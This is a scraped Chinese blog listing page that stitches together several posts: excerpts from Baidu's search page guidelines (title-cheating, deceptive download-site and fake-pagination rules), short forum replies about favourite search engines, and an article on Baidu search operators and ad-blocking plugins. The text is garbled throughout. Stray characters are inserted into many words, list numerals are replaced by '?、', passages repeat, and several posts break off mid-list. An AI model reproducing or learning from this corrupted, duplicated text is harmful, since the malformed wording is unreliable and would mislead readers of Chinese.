2.2高速下載器規范
說(shuō)明:此項規范針對用戶(hù)在PC頁(yè)面中下載高速下載器后,通過(guò)高速下載器下載目標軟件的情況。
圖示:用戶(hù)下載高速下載器打開(kāi)后的界面
?、僭试S下載前默認勾選推薦軟件(如上圖紅框區域所示),但是用戶(hù)可自主根據實(shí)際需求取消勾選,取消勾選后不能再將推薦軟件進(jìn)行捆綁下載;
?、谕扑]下載的軟件不能為色情、賭博等違法軟件;
2.3移動(dòng)端下載站質(zhì)量規范
圖示:移動(dòng)端下載界面
?、俦WC下載軟件的安全性,無(wú)掛馬、竊取用戶(hù)隱私等問(wèn)題;
?、谙螺d點(diǎn)擊后,效果必須為直接下載目標軟件,不能存在“李鬼下載”現象;
?、巯螺d需要有明確說(shuō)明,在頁(yè)面上告知用戶(hù),如上圖所示,說(shuō)明實(shí)際效果為先下載某應用市場(chǎng),后續可在應用市場(chǎng)中下載目標軟件,這種方式更加安全等;
?、茉试S默認勾選,優(yōu)先進(jìn)行高速下載,但用戶(hù)可自主根據實(shí)際情況取消勾選,直接進(jìn)入普通下載,下載目標軟件。
2.3 信風(fēng)算法——針對虛假翻頁(yè)誘導問(wèn)題
2019年5月,百度搜索發(fā)布信風(fēng)算法,控制網(wǎng)站或智能小程序利用翻頁(yè)鍵誘導用戶(hù)的行為。
信風(fēng)算法主要針對以下情況:
用戶(hù)點(diǎn)擊翻頁(yè)鍵時(shí),自動(dòng)跳轉至網(wǎng)站的其他頻道頁(yè)(如目錄頁(yè)、站外廣告頁(yè)等)。
問(wèn)題示例15:移動(dòng)端,用戶(hù)點(diǎn)擊“下一頁(yè)”直接跳轉至站內頻道目錄頁(yè)
問(wèn)題示例16:PC端,用戶(hù)點(diǎn)擊“下一頁(yè)”直接跳轉至站內頻道目錄頁(yè)
對于此類(lèi)問(wèn)題,我們建議:
1、不要放置虛假翻頁(yè)鍵。如果您希望能獲得更多的用戶(hù)瀏覽和點(diǎn)擊,可以在正文結束后,為用戶(hù)推薦相關(guān)的優(yōu)質(zhì)內容,吸引用戶(hù)點(diǎn)擊。
2、尊重用戶(hù)瀏覽體驗,避免出現刻意拆分一篇簡(jiǎn)短文章為多個(gè)分頁(yè)的行為。
2.4 違規信息規范——針對違法違規信息
為了維護安全健康的搜索生態(tài),保障搜索用戶(hù)的合法權益,2019年2月,百度搜索發(fā)布《關(guān)于百度搜索嚴厲打擊虛假詐騙等違法違規信息的公告》,打擊電信網(wǎng)絡(luò )中的虛假詐騙、違法交易、黃賭毒等違法違規信息。
百度搜索打擊的違法違規信息包括但不限于以下內容:
1.虛假、詐騙類(lèi)信息: 查看全部
百度搜索頁(yè)面規范指南:網(wǎng)站站點(diǎn)或智能小程序滿(mǎn)足用戶(hù)需求,標題,內容
百度搜索頁(yè)面規范指南--用戶(hù)需求滿(mǎn)足
【需要找百度小程序開(kāi)發(fā),網(wǎng)站制作開(kāi)發(fā)公司直接找我們】
2.1 標題規范 ——針對頁(yè)面標題違規問(wèn)題
2017年9月,百度搜索發(fā)布清風(fēng)算法,嚴懲開(kāi)發(fā)者通過(guò)頁(yè)面標題作弊,欺騙用戶(hù)并獲得點(diǎn)擊的行為;從而保證搜索用戶(hù)體驗,促進(jìn)搜索生態(tài)良性發(fā)展。
2018年11月,百度搜索針對頁(yè)面標題作弊行為發(fā)布《百度搜索頁(yè)面標題規范》,對搜索生態(tài)下的網(wǎng)頁(yè)標題進(jìn)行了嚴格的規范和要求。不符合《百度搜索頁(yè)面標題規范》的站點(diǎn),將會(huì )被清風(fēng)算法1.0覆蓋,受到限制搜索展現的處理。
《百度搜索頁(yè)面標題規范》
1.標題的原則
? 站點(diǎn)或智能小程序應確保每個(gè)頁(yè)面都有指定的標題,且同一站點(diǎn)的不同頁(yè)面應分別使用不同的標題;
? 頁(yè)面標題應準確概括頁(yè)面內容,避免使用模糊和不相關(guān)的描述;
? 頁(yè)面標題應簡(jiǎn)明扼要,避免使用冗長(cháng)的標題,避免關(guān)鍵詞堆砌;
? 頁(yè)面標題的符號使用正確,建議參考百度建議的標題符號用法(詳細內容請參見(jiàn)后文“3.2標題的符號”部分)
2.不允許出現的標題類(lèi)型
標題存在以下惡劣問(wèn)題時(shí),會(huì )對這類(lèi)結果做相應的搜索結果展現限制。
2.1標題內容虛假
指標題和頁(yè)面內容不相符,欺騙誘導用戶(hù)點(diǎn)擊的情況。
類(lèi)型1:虛假官網(wǎng)
指非官方站點(diǎn)或智能小程序,但標題表述為官網(wǎng)的情況。
問(wèn)題示例12:非官方網(wǎng)站但標題為官網(wǎng)的負面案例
類(lèi)型2:無(wú)法滿(mǎn)足用戶(hù)需求
如:標題中標明可下載或在線(xiàn)閱讀小說(shuō)txt,但是頁(yè)面中不提供下載服務(wù)或誘導用戶(hù)下載APP;或在標題中說(shuō)明有百度云下載、支持在線(xiàn)觀(guān)看,但是頁(yè)面既不能下載,又不能在線(xiàn)觀(guān)看。
問(wèn)題示例13:標題標明可下載小說(shuō),但頁(yè)面中誘導下載APP的負面案例
類(lèi)型3:標題表述部分虛假
如:某網(wǎng)頁(yè)標題中標明有江蘇一本大學(xué)排名,但頁(yè)面只有大學(xué)名單,而沒(méi)有排名相關(guān)的內容。
2.2標題重復、堆砌
指站點(diǎn)或智能小程序通過(guò)頁(yè)面標題過(guò)度重復或堆砌等手段,獲取不正當流量的情況。
類(lèi)型1:標題關(guān)鍵詞大量重復
類(lèi)型2:標題大量堆砌語(yǔ)義相近的關(guān)鍵詞標簽
問(wèn)題示例14:標題堆砌關(guān)鍵詞的負面案例
3.優(yōu)質(zhì)頁(yè)面標題建議
優(yōu)質(zhì)的頁(yè)面標題,不僅能明確表達頁(yè)面的主旨目的,更能給搜索用戶(hù)有效的引導,吸引目標用戶(hù)點(diǎn)擊。對符合優(yōu)質(zhì)規范的標題,百度將會(huì )給予更多的展現優(yōu)待。
3.1 標題的構成
百度頁(yè)面標題可以概括為“核心詞+修飾詞”的格式,修飾詞建議不多于3個(gè)。
3.2 標題的符號
4.百度標題改寫(xiě)機制
為保證搜索用戶(hù)的體驗,百度搜索將會(huì )對部分易造成用戶(hù)誤導的頁(yè)面標題進(jìn)行相應的改寫(xiě),包括但不限于以下幾種情況:
對于標題堆砌等過(guò)度優(yōu)化的站點(diǎn)首頁(yè),百度搜索會(huì )將過(guò)度優(yōu)化的標題直接改寫(xiě)為站點(diǎn)名稱(chēng)或公司名稱(chēng);
對于部分表意模糊的頁(yè)面,百度搜索將會(huì )從頁(yè)面中提取頁(yè)面關(guān)鍵信息補充在標題中,保證用戶(hù)能夠及時(shí)獲取有效信息。
針對標題堆砌的改寫(xiě)示例:針對標題堆砌問(wèn)題的改寫(xiě)示例
2.2 清風(fēng)算法3.0——針對下載站違規問(wèn)題
為了規范下載行業(yè)站點(diǎn)及智能小程序的欺騙下載、捆綁下載等傷害用戶(hù)的行為,百度搜索分別于2018年4月、2018年10月發(fā)布清風(fēng)算法2.0、3.0版本,清風(fēng)算法覆蓋的問(wèn)題范圍從標題作弊行為擴展到下載行業(yè)站點(diǎn)及智能小程序的欺騙用戶(hù)行為。
2018年10月,百度搜索發(fā)布《百度搜索下載站質(zhì)量規范》,對百度搜索范圍內下載站點(diǎn)及智能小程序的行為進(jìn)行嚴格要求和控制。不符合此規范的下載站或智能小程序,將會(huì )被清風(fēng)算法3.0覆蓋,受到搜索展現的限制。
《百度下載站質(zhì)量規范》
1.下載站質(zhì)量規范概要
下載站需遵守以下原則,堅持為用戶(hù)提供高質(zhì)量、有效,安全的下載服務(wù):
?、俦WC軟件的安全性,無(wú)掛馬、竊取用戶(hù)隱私等惡意行為;
?、跓o(wú)”李鬼下載“行為,通過(guò)普通下載/本地下載入口下載的軟件必須為下載按鈕文字描述的目標軟件;
?、巯螺d頁(yè)面中不能存在與下載按鈕類(lèi)似的誘導類(lèi)廣告;
?、茉试S存在安全下載/高速下載的情況,但是頁(yè)面中必須有明確說(shuō)明解釋。
2.下載站質(zhì)量規范說(shuō)明
2.1 PC端下載站質(zhì)量規范
圖示:PC端下載站頁(yè)面
a板塊.本地下載:
應保證下載軟件的安全性,無(wú)掛馬、竊取用戶(hù)隱私等問(wèn)題;
本地下載/普通下載點(diǎn)擊后,效果必須為直接下載目標軟件,不能存在下載內容與描述不符的“李鬼下載”問(wèn)題;
b板塊.高速下載:
若存在高速下載情況,需要在頁(yè)面上明確告知用戶(hù)其與本地下載(如上圖a區所示)的區別,如:說(shuō)明實(shí)際效果為先下載高速下載器,然后在高速下載器中下載目標軟件(如上圖b區所示);
c板塊.誘導廣告:
下載頁(yè)面中不能存在與下載按鈕相似的誘導類(lèi)廣告,如上圖c區所示的情況是不允許出現的。
2.2高速下載器規范
說(shuō)明:此項規范針對用戶(hù)在PC頁(yè)面中下載高速下載器后,通過(guò)高速下載器下載目標軟件的情況。
圖示:用戶(hù)下載高速下載器打開(kāi)后的界面
?、僭试S下載前默認勾選推薦軟件(如上圖紅框區域所示),但是用戶(hù)可自主根據實(shí)際需求取消勾選,取消勾選后不能再將推薦軟件進(jìn)行捆綁下載;
?、谕扑]下載的軟件不能為色情、賭博等違法軟件;
2.3移動(dòng)端下載站質(zhì)量規范
圖示:移動(dòng)端下載界面
?、俦WC下載軟件的安全性,無(wú)掛馬、竊取用戶(hù)隱私等問(wèn)題;
?、谙螺d點(diǎn)擊后,效果必須為直接下載目標軟件,不能存在“李鬼下載”現象;
?、巯螺d需要有明確說(shuō)明,在頁(yè)面上告知用戶(hù),如上圖所示,說(shuō)明實(shí)際效果為先下載某應用市場(chǎng),后續可在應用市場(chǎng)中下載目標軟件,這種方式更加安全等;
?、茉试S默認勾選,優(yōu)先進(jìn)行高速下載,但用戶(hù)可自主根據實(shí)際情況取消勾選,直接進(jìn)入普通下載,下載目標軟件。
2.3 信風(fēng)算法——針對虛假翻頁(yè)誘導問(wèn)題
2019年5月,百度搜索發(fā)布信風(fēng)算法,控制網(wǎng)站或智能小程序利用翻頁(yè)鍵誘導用戶(hù)的行為。
信風(fēng)算法主要針對以下情況:
用戶(hù)點(diǎn)擊翻頁(yè)鍵時(shí),自動(dòng)跳轉至網(wǎng)站的其他頻道頁(yè)(如目錄頁(yè)、站外廣告頁(yè)等)。
問(wèn)題示例15:移動(dòng)端,用戶(hù)點(diǎn)擊“下一頁(yè)”直接跳轉至站內頻道目錄頁(yè)
問(wèn)題示例16:PC端,用戶(hù)點(diǎn)擊“下一頁(yè)”直接跳轉至站內頻道目錄頁(yè)
對于此類(lèi)問(wèn)題,我們建議:
1、不要放置虛假翻頁(yè)鍵。如果您希望能獲得更多的用戶(hù)瀏覽和點(diǎn)擊,可以在正文結束后,為用戶(hù)推薦相關(guān)的優(yōu)質(zhì)內容,吸引用戶(hù)點(diǎn)擊。
2、尊重用戶(hù)瀏覽體驗,避免出現刻意拆分一篇簡(jiǎn)短文章為多個(gè)分頁(yè)的行為。
2.4 違規信息規范——針對違法違規信息
為了維護安全健康的搜索生態(tài),保障搜索用戶(hù)的合法權益,2019年2月,百度搜索發(fā)布《關(guān)于百度搜索嚴厲打擊虛假詐騙等違法違規信息的公告》,打擊電信網(wǎng)絡(luò )中的虛假詐騙、違法交易、黃賭毒等違法違規信息。
百度搜索打擊的違法違規信息包括但不限于以下內容:
1.虛假、詐騙類(lèi)信息:
選新浪微博中國的搜索引擎大概就剩下百度了
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 58 次瀏覽 ? 2022-06-18 10:02
搜索指定網(wǎng)站內容時(shí),使用手機瀏覽器搜索指定網(wǎng)站內容,會(huì )推薦該網(wǎng)站內容中的新聞。
另類(lèi)點(diǎn)兒的有手機版pc端和各種問(wèn)答網(wǎng)站手機端可搜小眾關(guān)鍵詞就有結果了,
搜狗這個(gè)搜索功能我覺(jué)得不是特別好,特別是經(jīng)常搜一些沒(méi)有用過(guò)的,感覺(jué)搜狗查不出來(lái)的時(shí)候,搜狗就這么做了。
個(gè)人習慣:豆瓣。
百度啊,
新浪博客
其實(shí)我最喜歡的是,google搜索。但是要翻墻。
我覺(jué)得googlemap也是個(gè)不錯的選擇,打開(kāi)后,你可以搜索離你最近的城市,然后就是圖片,文字,各種信息。不但要用自己感興趣的,而且要評論才能看到附近有啥好玩的,體驗不一樣的生活。
googlemapsandsearch
必應啊。android之前版本搜索整個(gè)公司的所有東西都會(huì )有好嗎。
國內我選新浪微博
中國的搜索引擎大概就剩下百度了吧。
微博上找facebook或twitter,微軟的有samsungbada系列,都不錯.國外的googleamazonyahoo之類(lèi)的.
騰訊搜索,
百度了吧
其實(shí)我覺(jué)得首頁(yè)很大程度上只是一個(gè)映射某一些網(wǎng)站的門(mén)戶(hù)類(lèi)網(wǎng)站,根據網(wǎng)站的內容大而全,
在網(wǎng)絡(luò )上一般搜索的主要依據就是各種英文網(wǎng)站 查看全部
選新浪微博中國的搜索引擎大概就剩下百度了
搜索指定網(wǎng)站內容時(shí),使用手機瀏覽器搜索指定網(wǎng)站內容,會(huì )推薦該網(wǎng)站內容中的新聞。
另類(lèi)點(diǎn)兒的有手機版pc端和各種問(wèn)答網(wǎng)站手機端可搜小眾關(guān)鍵詞就有結果了,
搜狗這個(gè)搜索功能我覺(jué)得不是特別好,特別是經(jīng)常搜一些沒(méi)有用過(guò)的,感覺(jué)搜狗查不出來(lái)的時(shí)候,搜狗就這么做了。
個(gè)人習慣:豆瓣。
百度啊,
新浪博客
其實(shí)我最喜歡的是,google搜索。但是要翻墻。
我覺(jué)得googlemap也是個(gè)不錯的選擇,打開(kāi)后,你可以搜索離你最近的城市,然后就是圖片,文字,各種信息。不但要用自己感興趣的,而且要評論才能看到附近有啥好玩的,體驗不一樣的生活。
googlemapsandsearch
必應啊。android之前版本搜索整個(gè)公司的所有東西都會(huì )有好嗎。
國內我選新浪微博
中國的搜索引擎大概就剩下百度了吧。
微博上找facebook或twitter,微軟的有samsungbada系列,都不錯.國外的googleamazonyahoo之類(lèi)的.
騰訊搜索,
百度了吧
其實(shí)我覺(jué)得首頁(yè)很大程度上只是一個(gè)映射某一些網(wǎng)站的門(mén)戶(hù)類(lèi)網(wǎng)站,根據網(wǎng)站的內容大而全,
在網(wǎng)絡(luò )上一般搜索的主要依據就是各種英文網(wǎng)站
用了10年百度,這6個(gè)搜索技巧,我居然才知道??!
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 399 次瀏覽 ? 2022-06-18 03:52
文 / 一周進(jìn)步 · 安哥拉
在信息過(guò)載的當下,即便我們不去主動(dòng)獲取信息,各種應用推薦和用戶(hù)生產(chǎn)的內容,也會(huì )把我們裹挾其中,但其中真正有價(jià)值的內容,實(shí)際上可能是少之又少。
每個(gè)人都會(huì )面臨「時(shí)間有限」的約束,如何從信息浪潮中快速找到自己需要的優(yōu)質(zhì)內容,幾乎成了每一個(gè)現代人必須面對的問(wèn)題。
除了找到優(yōu)質(zhì)的信息源,更為重要的是,用好手中的搜索,因為你想知道的東西,80% 都可以在網(wǎng)上找到答案。
因此,今天的文章,我整理了提高搜索效率和質(zhì)量的一些方法,包含搜索指令、以圖搜圖技巧、屏蔽網(wǎng)站和廣告等,希望這些內容對你有幫助。
01. 搜索指令
?、龠^(guò)濾關(guān)鍵詞
在搜索的關(guān)鍵詞后面使用減號,加上你想過(guò)濾的關(guān)鍵詞,可以去除標題中包含過(guò)濾關(guān)鍵詞的搜索結果。
舉個(gè)例子,在百度中以關(guān)鍵詞「學(xué)習App」進(jìn)行搜索,默認排在搜索結果頂部的是來(lái)自知乎的內容。
為了對比前后的效果,以「學(xué)習App-知乎」再次搜索,返回的結果就會(huì )過(guò)濾來(lái)自知乎的內容。
?、谠谥付ňW(wǎng)站中搜索
在關(guān)鍵詞后面加上site:網(wǎng)址,可以在指定的網(wǎng)站中搜索關(guān)鍵詞,這比較適合垂直且網(wǎng)址好記的網(wǎng)站,可以讓你在不打開(kāi)網(wǎng)站的情況下,直接使用關(guān)鍵詞進(jìn)行搜索。
以尋找答辯 PPT模板為例,直接以「答辯ppt」進(jìn)行搜索,返回的結果來(lái)自不同的網(wǎng)站,既有 PPT 教程的內容,也有 PPT 模板網(wǎng)站,比較雜亂。
如果你只想搜索返回 PPT模板的結果,可試著(zhù)將搜索的范圍局限在PPT模板網(wǎng)站,例如微軟家的模板網(wǎng)站,這樣得到的搜索結果會(huì )更加精確。
值得一提的是,site:后面添加的網(wǎng)址,不需要帶上或,否則返回的結果會(huì )顯示沒(méi)有找到相關(guān)的內容。
?、壑付ㄎ募?lèi)型
在關(guān)鍵詞后面加上filetype:文件格式,可以指定搜索結果返回的文件類(lèi)型,這里的文件格式包含但不限于 ppt、doc、pdf、xls 等。
還是以答辯 PPT為例,在關(guān)鍵詞后面加上「filetype:ppt」,這樣返回的結果就都僅限于 ppt 格式的文檔,不會(huì )亂入其他類(lèi)型的文件。
需要注意的是,自 Office2013起,Office新增了三種類(lèi)型的兼容格式pptx、docx和xlsx,但百度的filetype指令不支持這三個(gè)新的格式,而在 Google 中則可以正常使用。
?、芫_匹配
有時(shí)我們使用關(guān)鍵詞進(jìn)行搜索時(shí),搜索引擎會(huì )將我們的關(guān)鍵詞拆分為兩個(gè)小短語(yǔ)進(jìn)行搜索,導致搜索返回的結果不盡如人意。
為了解決這個(gè)問(wèn)題,我們可以將關(guān)鍵詞放到引號里邊,這樣搜索引擎在搜索時(shí)就會(huì )返回包含完整關(guān)鍵詞的結果,不會(huì )將關(guān)鍵詞拆分為亂序的多個(gè)短語(yǔ)。
這里的引號既可以是中文引號,也可以是英文引號,使用中文或英文引號對搜索返回的結果不會(huì )有影響。
如下圖所示,以「“城市地鐵”」進(jìn)行搜索時(shí),返回的結果都是完全匹配的,相比為未添加引號時(shí)可以適當地提高搜索效率。
?、萃ㄅ浞阉?br />
俗話(huà)說(shuō)“好記性不如爛筆頭”,有時(shí)剛聽(tīng)到或想到的東西,由于沒(méi)有及時(shí)記錄下來(lái),不一會(huì )兒在我們腦中可能就只剩下星星點(diǎn)點(diǎn)的碎片。
就像是你隱約記得有部動(dòng)漫叫《四月xx謊言》,但就是想不起中間的部分,此時(shí)你就可以使用星號*來(lái)代替,以此來(lái)告知搜索引擎,中間還有一部分你不清楚的內容。
這里的星號*被稱(chēng)為通配符,常用于模糊搜索的場(chǎng)景,當你不知道完整的文本時(shí),可以使用通配符代替其中的一個(gè)或多個(gè)字符,以此來(lái)盡可能地接近自己想要搜索的內容。
?、尴薅祟}關(guān)鍵詞
在關(guān)鍵詞 A后面加上intitle:關(guān)鍵詞 B,它有點(diǎn)像是數學(xué)中的交集,即搜索返回的結果中,其標題必須同時(shí)包含關(guān)鍵詞 A和 B。
以下圖為例,以「學(xué)習網(wǎng)站intitle:剪輯」進(jìn)行搜索,下方返回的搜索結果就會(huì )同時(shí)包含這兩個(gè)關(guān)鍵詞,讓搜索結果更聚焦。
前面雖然單獨介紹了每一個(gè)搜索指令,但在實(shí)際搜索場(chǎng)景下,我們可以將兩個(gè)或多個(gè)搜索命令結合起來(lái)使用,不同指令聯(lián)動(dòng)配合,提高搜索的效率和質(zhì)量。
02.百度高級搜索
剛接觸這些搜索指令的朋友,前期可能還會(huì )記得,但如果后續沒(méi)有有意識地使用它們,隨著(zhù)時(shí)間的流逝,這些指令就會(huì )慢慢被遺忘。
比較幸運的是,百度也自帶了類(lèi)似搜索指令的高級搜索,它以更易于理解的形式,將搜索指令呈現在我們面前。
點(diǎn)擊百度搜索頁(yè)面右上角的「設置」,打開(kāi)「高級搜索」。
在你了解了前面各個(gè)指令的含義之后,再來(lái)看下圖的高級搜索面板,應該就很好理解了。
以搜索關(guān)鍵詞為例,完整關(guān)鍵詞對應精確匹配的命令,不包括關(guān)鍵詞對應過(guò)濾關(guān)鍵詞命令。
在包含完整關(guān)鍵詞輸入框中輸入關(guān)鍵詞「城市地鐵」,接著(zhù)點(diǎn)擊底部的高級搜索,在打開(kāi)的搜索頁(yè)面中,它會(huì )自動(dòng)為關(guān)鍵詞加上雙引號,這與前面介紹的搜索命令是一致的。
此外,高級搜索面板還可以限定搜索返回的文檔格式,這里列出的文檔格式更清晰,包含 pdf、doc、xls、ppt 和 rtf 文件。
03.以圖搜圖
不少朋友可能都知道百度的「以圖搜圖」功能,通過(guò)將本地的圖片上傳到百度,它會(huì )幫我們找到與這張圖片相關(guān)的其他圖片。
但多數人每次使用百度的以圖搜圖時(shí),可能都是先在百度中搜索以圖搜圖,然后打開(kāi)百度識圖的頁(yè)面,最后再上傳圖片,整個(gè)流程下來(lái)有些繁瑣。
為幫助大家更高效地使用以圖搜圖,這里介紹兩個(gè)搜圖的小技巧:
?、侔磮D搜索
這是百度圖片自帶的功能,當你使用百度搜索特定圖片時(shí),將鼠標移動(dòng)到搜索返回的圖片上方,右下角會(huì )有兩個(gè)按鈕,一個(gè)是下載,另一個(gè)則是按圖片搜索。
點(diǎn)擊「按圖片搜索」,就會(huì )調用百度的以圖搜圖功能,尋找所有與當前圖片相關(guān)的內容。
另外,當你點(diǎn)擊圖片的縮略圖查看圖片詳情時(shí),點(diǎn)擊圖片下方的「按圖搜索」,同樣可以實(shí)現以圖搜圖的操作。
?、?Search by Image
前面介紹的「按圖搜索」有個(gè)不好的地方在于,它僅限在百度圖片的頁(yè)面起作用,對于其他網(wǎng)頁(yè)的圖片,就不能直接調用百度的以圖搜圖功能。
Search by Image,是一個(gè)強大的圖片搜索插件,它集成了 30多個(gè)搜索引擎,可以將任意網(wǎng)頁(yè)的圖片上傳到不同的搜索引擎,以此來(lái)查找與當前圖片相關(guān)的圖片或內容。
安裝了插件之后,在任意圖片上右擊,選擇「Search by image」,可以看到不同搜索引擎提供的以圖搜圖功能,選擇 Baidu 就會(huì )直接打開(kāi)百度識圖頁(yè)面。
打開(kāi)插件的設置頁(yè)面,可以查看插件集成的所有圖片搜索引擎,勾選引擎前面的復選框即可啟用,長(cháng)按拖拽改變引擎的位置,會(huì )影響右鍵菜單中引擎的上下順序。
04.屏蔽網(wǎng)站
在搜索時(shí),除了過(guò)濾不需要的關(guān)鍵詞,我們可能還想要屏蔽個(gè)人不喜歡的網(wǎng)站,例如各類(lèi)容易讓電腦中病毒的軟件下載站、2345 網(wǎng)站等。
我對屏蔽網(wǎng)站比較理想的期待是,它不會(huì )出現在搜索結果中,但目前百度搜索無(wú)法做到這樣,想屏蔽的網(wǎng)站還是會(huì )出現在搜索結果中,只能在打開(kāi)網(wǎng)站的時(shí)候將其屏蔽。
為了間接屏蔽網(wǎng)站,我們需要為瀏覽器安裝一個(gè)插件——Simple Blocker,正如其名,它屏蔽網(wǎng)站的操作非常簡(jiǎn)單。
安裝插件后,點(diǎn)擊右上角的插件圖標,打開(kāi)插件的配置頁(yè)面,在網(wǎng)站屏蔽列表Website Blockist中粘貼你想屏蔽的網(wǎng)站的網(wǎng)址,點(diǎn)擊下方的按鈕「Save Blocklist」保存。
之后當你打開(kāi)屏蔽列表中的網(wǎng)站,網(wǎng)站會(huì )跳轉到 Simple Blocker的攔截頁(yè)面,提示當前頁(yè)面已被屏蔽。
可能這類(lèi)屏蔽插件的正確用法不是這樣子,正確的用法可能是為了屏蔽少兒不宜的東西,但為了屏蔽那些惡心人的網(wǎng)站,我也只能拿來(lái)這么用了。
Simple Blocker 插件下載地址:
05. 屏蔽廣告
說(shuō)到百度,它最為讓人詬病的地方在于競價(jià)排名。競價(jià)排名,直接體現為我們在搜索結果頂部或者右側看到的廣告。
今年 4 月份百度經(jīng)過(guò)一輪整改后,原本泛濫的廣告行為已經(jīng)有所收斂。這里我以關(guān)鍵詞「降噪耳機」進(jìn)行搜索,返回的頁(yè)面頂部沒(méi)有廣告,廣告只出現在了右側欄。
如果你是一個(gè)強迫癥患者,想去除網(wǎng)頁(yè)側邊欄的廣告,可以為瀏覽器安裝去除廣告的插件,這些插件有uBlockOrigin、AdBlock、AdGuard 等,你可以隨意從中任選一款。
去廣告插件下載地址:
寫(xiě)在最后
除了本文介紹的內容,我之前還寫(xiě)過(guò)一篇介紹多個(gè)垂直搜索引擎的文章,感興趣的朋友可以戳下方的鏈接:
瀏覽至此,如果你在搜索方面也有自己的心得或體會(huì ),不妨在留言區寫(xiě)下你的想法,與其他朋友一起分享交流。
好看的人都在看▽ 查看全部
用了10年百度,這6個(gè)搜索技巧,我居然才知道??!
文 / 一周進(jìn)步 · 安哥拉
在信息過(guò)載的當下,即便我們不去主動(dòng)獲取信息,各種應用推薦和用戶(hù)生產(chǎn)的內容,也會(huì )把我們裹挾其中,但其中真正有價(jià)值的內容,實(shí)際上可能是少之又少。
每個(gè)人都會(huì )面臨「時(shí)間有限」的約束,如何從信息浪潮中快速找到自己需要的優(yōu)質(zhì)內容,幾乎成了每一個(gè)現代人必須面對的問(wèn)題。
除了找到優(yōu)質(zhì)的信息源,更為重要的是,用好手中的搜索,因為你想知道的東西,80% 都可以在網(wǎng)上找到答案。
因此,今天的文章,我整理了提高搜索效率和質(zhì)量的一些方法,包含搜索指令、以圖搜圖技巧、屏蔽網(wǎng)站和廣告等,希望這些內容對你有幫助。
01. 搜索指令
?、龠^(guò)濾關(guān)鍵詞
在搜索的關(guān)鍵詞后面使用減號,加上你想過(guò)濾的關(guān)鍵詞,可以去除標題中包含過(guò)濾關(guān)鍵詞的搜索結果。
舉個(gè)例子,在百度中以關(guān)鍵詞「學(xué)習App」進(jìn)行搜索,默認排在搜索結果頂部的是來(lái)自知乎的內容。
為了對比前后的效果,以「學(xué)習App-知乎」再次搜索,返回的結果就會(huì )過(guò)濾來(lái)自知乎的內容。
?、谠谥付ňW(wǎng)站中搜索
在關(guān)鍵詞后面加上site:網(wǎng)址,可以在指定的網(wǎng)站中搜索關(guān)鍵詞,這比較適合垂直且網(wǎng)址好記的網(wǎng)站,可以讓你在不打開(kāi)網(wǎng)站的情況下,直接使用關(guān)鍵詞進(jìn)行搜索。
以尋找答辯 PPT模板為例,直接以「答辯ppt」進(jìn)行搜索,返回的結果來(lái)自不同的網(wǎng)站,既有 PPT 教程的內容,也有 PPT 模板網(wǎng)站,比較雜亂。
如果你只想搜索返回 PPT模板的結果,可試著(zhù)將搜索的范圍局限在PPT模板網(wǎng)站,例如微軟家的模板網(wǎng)站,這樣得到的搜索結果會(huì )更加精確。
值得一提的是,site:后面添加的網(wǎng)址,不需要帶上或,否則返回的結果會(huì )顯示沒(méi)有找到相關(guān)的內容。
?、壑付ㄎ募?lèi)型
在關(guān)鍵詞后面加上filetype:文件格式,可以指定搜索結果返回的文件類(lèi)型,這里的文件格式包含但不限于 ppt、doc、pdf、xls 等。
還是以答辯 PPT為例,在關(guān)鍵詞后面加上「filetype:ppt」,這樣返回的結果就都僅限于 ppt 格式的文檔,不會(huì )亂入其他類(lèi)型的文件。
需要注意的是,自 Office2013起,Office新增了三種類(lèi)型的兼容格式pptx、docx和xlsx,但百度的filetype指令不支持這三個(gè)新的格式,而在 Google 中則可以正常使用。
?、芫_匹配
有時(shí)我們使用關(guān)鍵詞進(jìn)行搜索時(shí),搜索引擎會(huì )將我們的關(guān)鍵詞拆分為兩個(gè)小短語(yǔ)進(jìn)行搜索,導致搜索返回的結果不盡如人意。
為了解決這個(gè)問(wèn)題,我們可以將關(guān)鍵詞放到引號里邊,這樣搜索引擎在搜索時(shí)就會(huì )返回包含完整關(guān)鍵詞的結果,不會(huì )將關(guān)鍵詞拆分為亂序的多個(gè)短語(yǔ)。
這里的引號既可以是中文引號,也可以是英文引號,使用中文或英文引號對搜索返回的結果不會(huì )有影響。
如下圖所示,以「“城市地鐵”」進(jìn)行搜索時(shí),返回的結果都是完全匹配的,相比為未添加引號時(shí)可以適當地提高搜索效率。
?、萃ㄅ浞阉?br />
俗話(huà)說(shuō)“好記性不如爛筆頭”,有時(shí)剛聽(tīng)到或想到的東西,由于沒(méi)有及時(shí)記錄下來(lái),不一會(huì )兒在我們腦中可能就只剩下星星點(diǎn)點(diǎn)的碎片。
就像是你隱約記得有部動(dòng)漫叫《四月xx謊言》,但就是想不起中間的部分,此時(shí)你就可以使用星號*來(lái)代替,以此來(lái)告知搜索引擎,中間還有一部分你不清楚的內容。
這里的星號*被稱(chēng)為通配符,常用于模糊搜索的場(chǎng)景,當你不知道完整的文本時(shí),可以使用通配符代替其中的一個(gè)或多個(gè)字符,以此來(lái)盡可能地接近自己想要搜索的內容。
?、尴薅祟}關(guān)鍵詞
在關(guān)鍵詞 A后面加上intitle:關(guān)鍵詞 B,它有點(diǎn)像是數學(xué)中的交集,即搜索返回的結果中,其標題必須同時(shí)包含關(guān)鍵詞 A和 B。
以下圖為例,以「學(xué)習網(wǎng)站intitle:剪輯」進(jìn)行搜索,下方返回的搜索結果就會(huì )同時(shí)包含這兩個(gè)關(guān)鍵詞,讓搜索結果更聚焦。
前面雖然單獨介紹了每一個(gè)搜索指令,但在實(shí)際搜索場(chǎng)景下,我們可以將兩個(gè)或多個(gè)搜索命令結合起來(lái)使用,不同指令聯(lián)動(dòng)配合,提高搜索的效率和質(zhì)量。
02.百度高級搜索
剛接觸這些搜索指令的朋友,前期可能還會(huì )記得,但如果后續沒(méi)有有意識地使用它們,隨著(zhù)時(shí)間的流逝,這些指令就會(huì )慢慢被遺忘。
比較幸運的是,百度也自帶了類(lèi)似搜索指令的高級搜索,它以更易于理解的形式,將搜索指令呈現在我們面前。
點(diǎn)擊百度搜索頁(yè)面右上角的「設置」,打開(kāi)「高級搜索」。
在你了解了前面各個(gè)指令的含義之后,再來(lái)看下圖的高級搜索面板,應該就很好理解了。
以搜索關(guān)鍵詞為例,完整關(guān)鍵詞對應精確匹配的命令,不包括關(guān)鍵詞對應過(guò)濾關(guān)鍵詞命令。
